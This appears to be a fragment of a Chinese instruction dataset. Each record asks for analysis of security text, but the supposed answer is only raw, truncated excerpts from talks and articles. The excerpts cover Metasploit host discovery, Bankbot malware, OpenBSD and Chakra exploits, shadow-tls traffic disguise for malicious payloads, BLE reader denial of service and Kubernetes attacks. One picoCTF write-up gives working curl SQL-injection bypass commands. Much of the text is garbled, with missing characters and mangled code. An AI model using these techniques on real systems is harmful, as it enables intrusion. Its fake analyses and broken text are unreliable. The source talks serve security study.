auxiliary/scanner/ssh/ssh_version * auxiliary/scanner/telnet/telnet_version * auxiliary/scanner/discovery/udp_probe * auxiliary/scanner/dns/dns_amp * auxiliary/scanner/mysql/mysql_version **第三季主要介绍scanner下的五个模块辅助发现内网存活主机分别为** * auxiliary/scanner/netbios/nbname * auxiliary/scanner/http/title * auxiliary/scanner/db2/db2_version * auxiliary/scanner/portscan/ack * auxiliary/scanner/portscan/tcp **第四季主要介绍scanner下的五个模块辅助发现内网存活主机分别为** * auxiliary/scanner/portscan/syn * auxiliary/scanner/portscan/ftpbounce * auxiliary/scanner/portscan/xmas * auxiliary/scanner/rdp/rdp_scanner * auxiliary/scanner/smtp/smtp_version **第五季主要介绍scanner下的三个模块以及db_nmap辅助发现内网存活主机分别为** * auxiliary/scanner/pop3/pop3_version * auxiliary/scanner/postgres/postgres_version * auxiliary/scanner/ftp/anonymous * db_nmap **第六季主要介绍post下的六个模块辅助发现内网存活主机分别为** * windows/gather/arp_scanner * windows/gather/enum_ad_computers * windows/gather/enum_computers * windows/gather/enum_domain * windows/gather/enum_domains * windows/gather/enum_ad_user_comments 在实战过程中许多特殊环境下scannerdb_nmap不能快速符合实战渗透诉求尤其在域中的主机存活发现而post下的模块弥补了该诉求以便快速了解域中存活主机 ### 二十五基于windows/gather/arp_scanner发现内网存活主机 ```bash meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110120 THREADS=20 [*] Running module against VM_2003X86 [*] ARP Scanning 192.168.1.110120 [+] IP: 192.168.1.115 MAC 00:0c:29:af:ce:cc (VMware, Inc.) [+] IP: 192.168.1.119 MAC 00:0c:29:85:d6:7d (VMware, Inc.) ``` ![](media/21a718cf4696c8d5f2290c93327dd924.jpg) ### 二十六基于windows/gather/enum_ad_computers发现域中存活主机 ```bash meterpreter > run windows/gather/enum_ad_comp", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## How to setup a ftp server quickly Pleaes install [**pyftpdlib**](https://github.com/giampaolo/pyftpdlib) with pip or easy_install. ``` sudo easy_install pysendfile sudo easy_install pyftpdlib ``` or ``` sudo pip2 install pysendfile sudo pip2 install pyftpdlib ``` If you have installed **pyftpdlib** successfully, please start it as follow: ``` root@lab:/tmp/pyftpdlib# python -m pyftpdlib -w -p 21 pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user. RuntimeWarning) [I 2016-03-06 10:00:11] >>> starting FTP server on 0.0.0.0:21, pid=2090 <<< [I 2016-03-06 10:00:11] concurrency model: async [I 2016-03-06 10:00:11] masquerade (NAT) address: None [I 2016-03-06 10:00:11] passive ports: None [I 2016-03-06 10:00:40] 192.168.1.103:52874-[] FTP session opened (connect) [I 2016-03-06 10:00:40] 192.168.1.103:52874-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:00:45] 192.168.1.103:52874-[anonymous] FTP session closed (disconnect). [I 2016-03-06 10:01:42] 192.168.1.101:49312-[] FTP session opened (connect) [I 2016-03-06 10:02:12] 192.168.1.101:49312-[] FTP session closed (disconnect). [I 2016-03-06 10:02:24] 192.168.1.101:49313-[] FTP session opened (connect) [I 2016-03-06 10:02:31] 192.168.1.101:49313-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:06:28] 192.168.1.101:49313-[anonymous] RETR /tmp/pyftpdlib/setup.py completed=1 bytes=5183 seconds=0.004 [I 2016-03-06 10:07:29] 192.168.1.101:49313-[anonymous] FTP session closed (disconnect). [I 2016-03-06 10:08:11] 192.168.1.104:1033-[] FTP session opened (connect) [I 2016-03-06 10:08:17] 192.168.1.104:1033-[anonymous] USER 'anonymous' logged in. [I 2016-03-06 10:10:43] 192.168.1.104:1033-[anonymous] FTP session closed (disconnect). ``` Windows FTP console client: ``` C:\\Documents and Settings\\test\\Desktop>ver Microsoft Windows XP [Version 5.1.2600] C:\\Documents and Settings\\test\\Desktop>ftp 192.168.1.103 Connected to 192.168.1.103. 220 pyftpdlib 1.5.0 ready. User (192.168", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nProprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. GoPro or GTFO A Tale of Reversing an Embedded System Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Agenda Intro GoPro Overview Previous Research Methodology/Findings Future Research/Next Steps Conclusion Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. INTRO Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. About Us Todd Manning a.k.a. El Isleño Sr. Research Consultant, Accuvant LABS Applied Research Consulting Previously Mgr. of Security Research at BreakingPoint Systems Zach Lanier a.k.a. quine Sr. Research Consultant, Accuvant LABS Applied Research Consulting (Net | App | Web | Mobile) pen tester type Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Why the GoPro? Highly popular, consumer rugged camera WiFi-enabled Possible applicability to other Amberella-based devices Including commercial IP-enabled CCTV installations We focused mainly on GoPro Hero3 Black Edition So most details apply, but may be some HW differences Plus: ITS EXTREEEEEEEEEEEEEEME! Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. GOPRO OVERVIEW Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. Ambarella A770 camera SoC ARMv6 1136J-S core (@528MHz) Sitronix ST7585 LCD Atheros AR6233GEAM2D 802.11n + BT controller and more... GoPro Overview Proprietary and Confidential. Do Not Distribute. 2013 Accuvant, Inc. All Rights Reserved. H3B runs two operating systems: ITRON Embedded RTOS Manages most of the camera bits Runs the GoPro Webserver on 80/tcp Internal interface to Linux (10.9.9.9) Linux 2.6.38 Actually runs as a task within ITRON Resides on", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAnalyzing Bankbot whoami Malware Analyst at Hispasec. @entdark_ What is Bankbot? Origins 6 7 8 AV detections 9 1 0 1 1 1 2 Overlays 1 3 Android Toast 1 4 1 5 Cloak & Dagger Client side 1 7 Infection workflow 1 8 Malicious websites are still a thing 1 9 Infection workflow if (Build.VERSION.SDK_INT >= 23) { int i = checkCallingOrSelfPermission(\"android.permission.SEND_SMS\"); if ((Build.VERSION.SDK_INT >= 23) && (i != 0)) { requestPermissions(new String[] { \"android.permission.SEND_SMS\", \"android.permission.READ_CONTACTS\", \"android.permission.ACCESS_FINE_LOCATION\" }, 1); } } 2 1 Infection workflow android.permission.SEND_SMS android.permission.READ_CONTACTS android.permission.ACCESS_FINE_LOCATION android.permission.DEVICE_ADMIN 2 2 Device Admin? 2 3 Data theft 2 4 Data theft 2 5 Comparison: Real Login vs Overlay 2 6 Initial targets 2 7 Increasing targets Commerzbank Royal Bank of Scotland, Santander Lloyds... 2 8 Target injects retrieval if (packagename.equals(ru.sberbankmobile)) { ... } 2 9 APK has no information of the targeted entities Target injects retrieval 3 0 Targets 3 1 Targets 3 2 3 3 JNI Arm64-v8a armeabi armeabi-v7a 3 4 JNI 3 5 JNI 3 6 JNI getProc() /proc /proc/cmdline 3 7 JNI send_sms /android/telephony/SmsManager/ sendTextMessage 3 8 JNI Server side 4 0 Backend 4 1 C&C IMEI CARRIER/PHN NO VERSION, APK, COUNTRY MODEL DATE ACTIONS 4 3 Components add_inj.php add_log.php commands.php config.php crypt.php kliets.php tuk_tuk.php set_data.php 4 4 Communications 37 55 67 78 79 37 55 67

Terraform 使用入门以及在云上攻防中的作用

--- ## 0x00 前言 Terraform 是一种资源编排工具通过它可以很方便的去构建云服务资源本文将以在腾讯云上创建一个 COS 存储桶为例进行演示 ## 0x01 Terraform 概述 Terraform 官方下载页面[terraform.io/downloads](https://www.terraform.io/downloads) 在这里找到自己的系统进行安装即可 目前 Terraform 基本已经支持了大部分主流的云服务厂商在 [registry.terraform.io/browse/providers](https://registry.terraform.io/browse/providers) 中可以看到其所支持的云服务厂商 本文中将使用腾讯云作为演示在平时使用 Terraform 时会频繁的去参考官方文档其腾讯云的官方文档地址为[registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs](https://registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs) ## 0x02 开始编写 首先创建一个文件夹这里文件夹名称为 cos_bucket_demo并新建以下文件 ```shell . cos_bucket_demo README.md main.tf output.tf terraform.tfvars variables.tf version.tf ``` - README.md 描述文件 - main.tf Terraform 主体代码文件 - output.tf 内容输出代码文件 - terraform.tfvars 参数文件 - variables.tf 变量声明文件 - version.tf 版本信息文件 可以看到在 cos_bucket_demo 文件夹中有多个 tf 后缀的文件其实这些 tf 文件里的代码都可以写到一个 tf 文件里但一般为了规范些还是建议分多个 tf 文件去写一个文件夹对应一个 tf 场景 接下来我们来看看每个 tf 文件里都有哪些内容 ### version.tf version.tf 一般是放和版本信息有关的代码例如这里就是声明了 Provider 来源为 tencentcloud 且版本为 1.72.5Provider 在这里可以理解成提供云服务的厂商的意思 ```json terraform { required_providers { tencentcloud = { source = \"tencentcloudstack/tencentcloud\" version = \"1.72.5\" } } } ``` 如果经常使用某个云的 Provider建议指定固定的版本这样在开启插件缓存后每次初始化 Terraform 时就不会因为 Provider 有更新了而要重新下载它同时还会避免因为 Provider 更新导致代码不可用或者出现告警的情况 开启插件缓存方法可以参考[wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html](https://wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html) ### variables.tf variables.tf 里一般会写上变量的声明例如这里需要声明腾讯云的 secret id 和 secret key 变量 ```json variable \"tencentcloud_secret_id\" { type = string description = \"Set Tencent Cloud secret id.\" sensitive = true nullable = false } variable \"tencentcloud_secret_key\" { type = string description = \"Set Tencent Cloud secret key.\" sensitive = true nullable = false } ``` 其中 variable 后面的是变量名称type 指定变量类型description 用来描述变量的用途sensit", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# \"Wee\" Challenges Several challenges were related to a single website running a \"paperbots\" service. All related challenges included the following explanations: > Good coders should learn one new language every year. > > InfoSec folks are even used to learn one new language for every new problem they face (YMMV). > > If you have not picked up a new challenge in 2018, you're in for a treat. > > We took the new and upcoming `Wee` programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. > > Some cool Projects can be created in Wee, like: [this](https://paperbots.io/project.html?id=URJgCh), [this](https://paperbots.io/project.html?id=kpyyrl) and [that](https://paperbots.io/project.html?id=F53thj). > > Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. > Get the new open-sourced server at `/pyserver/server.py`. > > Anything unrelated to the new server is left unchanged from commit `dd059961cbc2b551f81afce6a6177fcf61133292` at badlogics [paperbot github](https://github.com/badlogic/paperbots (mirrored up to this commit [here](https://github.com/domenukk/paperbots/)). > > We even added new features to this better server, like server-side Wee evaluation! > > To make server-side Wee the language of the future, we already implemented awesome runtime functions. > To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOpenBSD Remote Exploit Only two remote holes in the default install Alfredo A. Ortega July 5, 2007 Mbuf buffer overflow Buffer overflow Researching the OpenBSD 008: RELIABILITY FIX a new vulnerability was found: The m dup1() function causes an overflow on the mbuf structure, used by the kernel to store network packets. mbuf1 mbuf2 mbuf3 mbuf4 End of overflow Copy direction Figure: mbuf chain overflow direction The function m freem() crashed... Searching for a way to gain code execution Searching for a way to gain code execution C code equivalent / s y s /mbuf . h #d e f i n e MEXTREMOVE(m) do { \\ i f (MCLISREFERENCED(m)) { \\ MCLDEREFERENCE(m) ; \\ } e l s e i f ((m)>m f l a g s & M CLUSTER) { \\ p o o l p u t (&mclpool , (m)>m ext . e x t b u f ) ; \\ } e l s e i f ((m)>m ext . e x t f r e e ) { \\ (((m)>m ext . e x t f r e e ) ) ( (m)>m ext . ext buf , \\ (m)>m ext . e x t s i z e , (m)>m ext . e x t a r g ) ; \\ } e l s e { \\ f r e e ((m)>m ext . ext buf , (m)>m ext . e x t t y p e ) ; \\ } \\ (m)>m f l a g s &= (M CLUSTER|M EXT ) ; \\ (m)>m ext . e x t s i z e = 0; / why ??? / \\ } while (/ CONSTCOND / 0) IcmpV6 packets Attack vector We use two IcmpV6 packets as the attack vector Header Fragmentation Header IPv6 Header Mbuf chain Fragment 2 Icmpv6 Icmpv6 Header Trampoline ShellCode SyscallHook Payload Header mbuf 2 mbuf 1 Header mbuf 3 HopbyHop Header Fragmentation Header IPv6 Header Fragment 1 Figure: Detail of IcmpV6 fragments Where are we? Code execution We really dont know where in kernel-land we are. But ESI is pointing to our code. User process Hooked syscall ShellCode Kernel Ring 0 Ring 3 Kernel Int 0x80 ShellCode ? ? ? ? ? ? ? ? ? ? ? Initial situation Final situation iret Where we are? Ring 0 ESI Figure: Initial and final situations Now what? Hook (remember DOS TSRs?) We hook the system call (Int 0x80) User process INT 0x80 Kernel return Hook Hooked syscall User process INT 0x80 Kernel Ring 3 Ring 0 return Normal syscall Normal System Call Hooked System Call Figure: Syst", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n做为攻击者那些年的一些想法 今年职业上有了一点小变动从一个攻击者变成了一个防御者于是想把作为攻击者的一些想法写下来 和大家交流 某大型攻防演练暂告段落攻击者们在弹冠相庆之后纷纷借着五一休假了攻击方投入越来越大攻击 模式的体系化流程化攻击工具工程化实战化以肉眼可见的速度发展着作为一个曾经的攻击 者内心是非常激动的虽然已是局外人但每每听到攻击方的故事还是会热血沸腾 我眼中的红队 曾经和朋友聊什么是红队怎么做一只符合国情的红队也阅读过很多国外红队报告一度被各种高超 的红队技巧迷花了眼都说红队是在模仿APT攻击但在前公司有幸参加金链熊分析后我意识到红队 如果是以模仿APT的路子走是不对的红队和APT有着本质的区别红队的出发点是让你的目标更加的安 全而APT的出发点是获取情报因此整个执行的流程细节都有着很大的差别它们唯一相通的或者说 可以借鉴的是部分攻击技术 红队永远不是主角也不应该是主角红队评估红队是评估的助手红蓝对抗红队是蓝队的助手 红队是在模仿敌人模仿攻击者因此红队在我方阵营中不应该也不会是主角它只有在敌方阵营中才 是主角 红队要有自己的体系大家经常也会讨论某某红队主要是以什么方法打的每个攻击环节他们是怎么串 起来的每个优秀的红队都有各自的风格这就是体系的雏形我想以后的红队应该是一个百家争鸣的 状态甲方的蓝军乙方的红队红队创业公司各有各的体系各有各的风格 不要想着既要还要红队不太可能既纵向做的深入也横向覆盖的广红队的投入是有限的而且是偏低 的助手和主角助手投入盖过主角是不可能的因此红队必然是小而精的不可能是大而全的 红队不要做成打手了虽然这是现状不可否认当前红队的商业价值来源于打手属性这几年以政策 为主的推动使得打手属性的价值放大了很多倍很多小伙伴也获益颇丰甚至以此创业看过古惑 仔电影的小伙伴应该明白打手的结局都不太好 但也不要否认当前的打手阶段我想打手阶段应该算红队v0.5版本当打手价值放大到一定程度的 时候必将引起质变我想接下来走向红队v1.0的路应该是在红队评估的评估上做文章应该是在红 蓝对抗的蓝上思考这才是真正能够产生红队长远价值的地方我想在评估上做的好在蓝上想的 深红队的价值也就越大 我眼中的红队工具 红队工具不等于攻击工具红队工具是红队人员执行攻击思路和方法的武器就像士兵手中的枪炮手 面前的炮亦或者指挥官手中的传令器但子弹和炮弹不是真的我们要去掉弹头去掉破坏力这只 是演习 往往在一次红队行动中攻击可控可溯源是一个很大的难题我想它的解法在红队工具中红队工具 的发展应该是从小作坊到工程化再到系统化在系统化的时候攻击的可控可溯是可以做到的日志 埋点网关控流还原每一步操作梳理每一个请求但是这样高昂的投入目前看是不现实的必然 需要更大的市场政策和商业价值来驱动 当前的现状是什么样呢近几年所谓的红队工具还只能叫做攻击工具因为它只是攻击技术的执行程序 而已还必须给他增加紧箍咒才能是红队工具 我曾经做过一个问卷CobaltStrike是不是一个远控木马我的本意是想知道大家觉得CobaltStrike是好 的还是坏的结果有点意料之中也有点出乎意料意料之中的是坏多于好出乎意料的是认为好的占比 只比坏的低一点 这是一个共识问题拿切菜的刀举例它固有的锋利让他既能违法也能切菜但是因为有菜这个字 让菜刀也能在商店购买我希望以后红队工具因为有红队2个字让它也可以被大家普遍使用 曾经画过一个简图 安全社区很重要 很多和我一样的小伙伴都是从社区学习成长一路走出来的社区一直在生死轮回中循环每个阶段 有每个阶段的不同表现形式从最早的论坛到现在的漏洞平台SRC从线上的YYQQ到线下hackclub 我想最后必将走出一种各方共赢的方式是谁会站出来呢是360漏洞云还是奇安信补天亦或是阿 里先知白帽汇 我曾经也有设想做一个有知识星球群博客论坛开源项目公益资源训练平台等等哈哈已 是往事其中公司之间的利益纠葛法律界定都是需要考虑和寻解的也多次被老板挑战这能给公司带 来什么实质利益 举一个例子曾经有个小伙伴在A-Team星球发了一个话题然后被主管训了一顿勒令删除还被...... 此处略过一万字最后愤然离职了可能有小伙伴会说你和公司签了劳动合同你的所有产出不管是 上班下班都是公司财产我觉得这里面需要有一个界定和共识涉及到公司项目以及成果的当然应该保 密但是纯底层技术交流不应该被扼杀不要因为你是A公司的员工在B公司技术论坛上学习的时候顺便 回答一个技术问题就被扣上一个资敌的帽子 往事已矣......", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 shadow tls 最近看到v2ex上有分享了个有意思的技术 https://v2ex.com/t/875975 前 2 简单来说这个技术可以在tls握阶段实现完全合法有效的与指定域名站的握后续的传输数据 阶段则是传输身的恶意payload 这样我可以让tls握阶段SNI以及证书同步伪装使得流量更加可信 对应的demo项 https://github.com/ihciah/shadow-tls 分析之前先搞清楚tls的协议结构 1. tls分为两层记录层和握层记录层只有种记录协议握层有4种协议HandshakeAlert ChangeCipherSpecApplicationData 2. 协议流程握阶段和数据传输阶段握阶段常到的握层协议有HandshakeAlert ChangeCipherSpec数据传输阶段就是ApplicationData 先说下分层如下图所示 tls协议 3 记录层的协议只有记录协议度5字节 记录层 4 记录协议负责在传输连接上交换的所有底层消息并且可以配置加密每条 TLS 记录以个短标头开 始标头包含记录内容的类型 (或协议)协议版本和度原始消息经过分段 (或者合并)压缩添加 认证码加密转为 TLS 记录的数据部分 Content Type(1 bytes)于标识握层协议类型 Version(2 bytes)tls版本信息 Length(2 bytes)握层数据包度 PS: 简单来说记录协议主要功能是对握层进数据压缩加密完整性保护等等 Content Type有4个值参考go官库说明如下可以看到这些类型在上数据包中也有记录 Version type recordType uint8 const ( recordTypeChangeCipherSpec recordType = 20 recordTypeAlert recordType = 21 recordTypeHandshake recordType = 22 recordTypeApplicationData recordType = 23 ) 1 2 3 4 5 6 7 8 Go 复制代码 const ( VersionTLS10 = 0x0301 VersionTLS11 = 0x0302 VersionTLS12 = 0x0303 VersionTLS13 = 0x0304 // Deprecated: SSLv3 is cryptographically broken, and is no longer // supported by this package. See golang.org/issue/32716. VersionSSL30 = 0x0300 ) 1 2 3 4 5 6 7 8 9 10 Go 复制代码 5 Handshake Alert ApplicationData 握层 6 ChangeCipherSpec 如果了解过tls协议会知道tls分为握阶段以及数据传输阶段 交互流程如下握阶段主要进共享密钥成以及身份认证数据传输阶段就使成的共享密钥进 加密传输 数据包交互 7 数据包 8 代码实现层 在通过tls封装后write实际操作如下会进Handshake 9 判断握是否完成 10 未完成握会调握函数但这可以看到只是个函数签名因为对于server和client的握处理是 不样的需要传不同的函数实现 11 如 clientHandshake 会成clientHello发送并读取serverHello等系列操作 12 根据上的简单分析握阶段服务端会返回个Certificate包包含了该服务端的tls证书其中还 包含了证书链这也是我们浏览器上能查看服务端证书的原因并且可以根据证书链来校验证书合法 性 分析 13 数据传输阶段数据包格式较为固定均为Application Data并且握层般是通过握阶段协商好 的密钥进加密传输的 所以shadow tls的实现原理也就出来了 1. 握阶段服务端将客户端的请求转发到个可信域名上这样保证流量侧看到的服务端证书是个 可信域名的证书 2. 等握完成后数据传输阶段停转发客户端和服务端之间加密传输恶意payload即可那么这 就有个疑问了由于tls的防中间攻击使的是对称算法进握协商出共享密钥我的 服务端是拿不到的其实这个所谓我看不到中间设备也同样看不到那么我的客户端和服务端 个假的密钥加密数据伪造个Application Data进传输在中间设备看起来也是完全正常的 实现 14 原理就这么简单实现的话只需要注意下握结束的标识将转发模式切换成恶意payload通信模式 即可我这选择的是判断接收到第个application data协议的包则切换模式 编写前review了下官t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDown With The RIAA Musicians Against the Recording Industry By: Ichabod Ver7 Independent artist/producer www.loopbackimposter.com Priceless New computer: $900 I/O box: $500 Studio monitors and Microphone: $900 Telling the RIAA to go fsck themselves: Priceless Purpose of this Presentation This presentation is for enlightening individuals on the current state of the music business and provides a way to completely change it in the future so that it better suits both artists and consumers. Prove that you dont need a big recording studio to make a good recording Whats the Problem? The recording industry isnt about music, its about: Money for the company Image and product Applying formulas to artistic works Telling people This is cool, you should buy this. Not caring for the consumers of their products Benefiting only a few Whats the Problem? Payola - Yes it does happen Resistant to change They dont think, they just have knee jerk reactions Its not how good you are its who you know Artists retain little rights, if any, over their music Pirate Act: Lobbying to get copyright civil suits changed to criminal Money for the Company Getting a recording contract is like winning the lottery, only winning the lottery you are guaranteed some money 90% of major label releases dont make a profit Companies sign bands as tax write-offs and then dump them after the first of the year Overpriced CDs Why does a CD Cost so Much? Record company: Manufacturing CDs is expensive! Survey says: Mass produced, replicated CDs are less than a dollar for the total package. -Side note: AOL gives away a ton of CDs Record Company: It costs a lot to record a CD. Survey says: Recording advances are given to artists which they have to pay back. Company doesnt take the hit, unless they want to or unless it was stated in the contract the company would pay. They Resist Change Fight tooth and nail to keep things the same What happens to other companies that resist change? If record ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWhat is the PACS-Man? Tools of The Trade How do we improve the experience in the field? Automation! Demo Time Contribute to Odo! (its a framework) Potential Credential Producers BLEKey ESP RFID Tool Wiegotcha Telephoto Lens + OCR Potential Credential Consumers Chameleon Mini Libnfc Emutag Support for Alternate Displays / Hats New Feedback and Control Mechanisms Smart Watch Support Android / iOS Apps Haptic Feedback Vests Evolution of PACS Mobile Credentials Are the New Black Mobile Credentials are the New Thing NFC Not Supported by All Smartphones Until Recently Heavily Locked Down on iOS BLE Nearly Ubiquitous Smartphone Support Protocol Was Not Designed for This Purpose What Else Does This Add? Diagnostic Capability Firmware Upgrades Reconfiguration Hmm Bluetooth You might be wondering whats with all readers? Demo Time What else has an nRF52? Demo Time So what does it all mean? Practical Impacts Selective or Area-Wide Denial of Service Disable Access to Key Ingress/Egress Points Turnstiles Security Vestibules Equipment Rooms Annoy the Crap Out of People by Beeping All Readers Engage DoS Post-Entry to Evade Security Ghost Mode Slip a Device Into Target Users Bag to DoS 2 Closest Readers User Becomes Invisible to Readers Mitigations Vendor Response Working on Upcoming Firmware Update Currently Requires Use of Mobile App at Each Reader Future Updates via OSDP Functions (For Supported HW) Short-Term Mitigation Educate Security Staff and Response Teams Some Customers May Opt to Disable BLE Functionality Affected Customers Should Reach Out to Their Account Manager for Guidance Customers Not Using Mobile Credentials May Inquire about ODSP-Only Backpacks", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 KWs 备忘录 前 简介&&基础知识 暴漏梳理 etcd-未授权访问 kube-apiserver未授权访问 kubelet未授权访问 kWs dashboard认证绕过CVE-OLNW-NWOTQ docker未授权访问 kube-proxy配置错误 参考章 致谢 最近做了个某央企的内部攻防项在这种项中次深深体会到的菜加之球以来直 没有发过章主管都准备踢我出球了所以特地篇章 找了找星球还没有k8s之类的章于是章思想更重 之前从来没怎么接触过k8s但是随着云原以及微服务架构的兴起云原必定是攻防重点很多试 也会问k8s的渗透经验这次侥幸内后也正好发现k8s集群所以有了个预习的机会特地写篇 备忘录作为备忘佬们请轻喷 k8s全称kubernetes是为容器服务的个可移植容器的编排管理具越来越多的公司正在拥抱 k8s并且当前k8s已经主导了云业务流程推动了微服务架构等热技术的普及和落地 先我们从容器技术谈起在容器技术之前家开发虚拟机较多如vmware和openstack 我们可以使虚拟机在我们的操作系统中模拟出多台电脑Linux电脑之间是相互隔离的但是 虚拟机对于开发和运维员存在启动慢占空间不易迁移的缺点 前 简介&&基础知识 2 接着容器化技术应运它不需要虚拟出整个操作系统只需要虚拟个规模的环境即可且 启动速度很快除了运其中应以外基本不消耗额外的系统资源Docker是应最为泛的容器技 术通过打包镜像启动容器来创建个服务但是随着应越来越复杂容器的数量也越来越多由 此衍了管理运维容器的重问题且随着云计算的发展云端最的挑战容器在漂移在此业务 驱动下k8s问世提出了套全新的基于容器技术的分布式架构领先案在整个容器技术领域的发展 是个重突破与创新 从架构设计层k8s的可性伸缩性都可得到很好的解决如果你想使微服务架构搭配k8s真 的是完美再从部署运维层服务部署服务监控应扩容和故障处理k8s都提供了很好的解决 案 具体来说主要包括以下点 1. 服务发现与调度 2. 负载均衡 3. 服务愈 4. 服务弹性扩容 5. 横向扩容 6. 存储卷挂载 总之k8s可以使应的部署和运维更加便 最后我们看下k8s的架构 3 k8s集群由Master节点和NodeWorker节点组成 Master节点 Master节点指的是集群控制节点管理和控制整个集群基本上k8s的所有控制命令都发给它它负责具 体的执过程在Master上主要运着 1. Kubernetes Controller Managerkube-controller-managerk8s中所有资源对象的动化控制 中维护管理集群的状态如故障检测动扩展滚动更新等 2. Kubernetes Schedulerkube-scheduler 负责资源调度按照预定的调度策略将Pod调度到相 应的机器上 3. etcd保存整个集群的状态 Node节点 除了master以外的节点被称为Node或者Worker节点可以在master中使命令 kubectl get nodes查看 集群中的node节点每个Node都会被Master分配些作负载Docker容器当某个Node宕机时 4 该节点上的作负载就会被Master动转移到其它节点上在Node上主要运着 1. kubelet负责Pod对应的容器的创建启停等任务同时与Master密切协作实现集群管理的基本 功能 2. kube-proxy实现service的通信与负载均衡 3. dockerDocker EngineDocker引擎负责本机的容器创建和管理 户端般通过kubectl命令具与kube-apiserver进交互当然如果不嫌麻烦也可以直接通过调 kube-apiserver的api来交互户端命令下发通常流程如下 1客户端根据户需求调kube-apiserver相应api2kube-apiserver根据命令类型联动 master节点内的kube-controller-manager和kube-scheduler等组件通过kubelet进下发新建容器配 置或下发执命令等给到对应node节点3node节点与容器进交互完成下发的命令并返回结果4 master节点最终根据任务类型将结果持久化存储在etcd中 k8s集群主要由以下组件组成1kube-apiserverk8s master节点api服务器以REST API服务形 式提供接作为整个k8s的控制2kube-controller-manager执整个k8s的后台任务包 括节点状态状况Pod个数Pods和Service的关联等3kube-scheduler接收来kube- apiserver创建Pods任务通过收集的集群中所有node节点的资源负载情况分配到某个节点4 etcdk8s的键值对形式数据库,保存了k", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Irish-Name-Repo 1 Web Exploitation, 300 points ## Description: > There is a website running at http://2019shell1.picoctf.com:4162. Do you think you can log us in? Try to see if you can login! ## Solution: The website offered an admin login page: ```html
``` In order to bypass the authentication logic, all we needed to do is provide a classic SQLi string: ```console root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_1# curl \"https://2019shell1.picoctf.com/problem/4162/login.php\" --data \"username=admin&password='+or+1=1--\" && echo

Logged in!

Your flag is: picoCTF{s0m3_SQL_96ab211c}

``` It was also possible to set the `debug` parameter in order to inspect the SQL statement: ```console root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_1# curl \"https://2019shell1.picoctf.com/problem/4162/login.php\" --data \"username=admin&password='+or+1=1--&debug=1\" && echo 
username: admin password: ' or 1=1-- SQL query: SELECT * FROM users WHERE name='admin' AND password='' or 1=1--'

Logged in!

Your flag is: picoCTF{s0m3_SQL_96ab211c}

```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n0 KaiSong (exp-sky) Tencent Security Xuanwu Lab WHO AM I CONTENTS 1Chakra vulnerability 2Bypass ASLR & DEP 3Bypass CFG 4Bypass CIG 5Bypass ACG 6Exploit 7Q&A The vulnerability was discovered on May 31, 2016. The vulnerability was fixed in February 2017. NativeIntArray struct : NativeIntArrayHead Segment : left length size Next segment head Segment : left length size Next segment Buffer Buffer length NativeIntArray struct : Make var_Array_1 object reach a special state. Make var_Array_1->length smaller. Make var_Array_1 object reach a special state. Array.length < (head.next.left + head.next.length) 0x2e < (0x03d2 + 0x2e) Segment : head Left:0x00000000 Length:0x00000000 Size:0x00000012 Next segment Segment : head.next Left:0x000003d2 Length:0x0000002e Size:0x0000002e Next segment Buffer:0x00000012*4 Buffer:0x0000002e*4 NativeIntArrayHead head Length:0x0000002e Make var_Array_1 object reach a special state. Array.length < (head.next.left + head.next.length) 0x2e < (0x03d2 + 0x2e) Make var_Array_1 object reach a special state. Callback function causes length to be modified. But the ReverseHelper function still uses the old length. Segment : head Left:0x00000000 Length:0x00000000 Size:0x00000012 Next segment Segment : head.next Left:0x000003d2 Length:0x0000002e Size:0x0000002e Next segment Buffer:0x00000012*4 Buffer:0x0000002e*4 NativeIntArrayHead head Length:0x0000002e Make var_Array_1 object reach a special state. Array.length < (head.next.left + head.next.length) 0x2e < (0x03d2 + 0x2e) step 1 Make var_Array_1->head.size smaller. step 1 var_Array_1->head.size : 0x2e -> 0x23 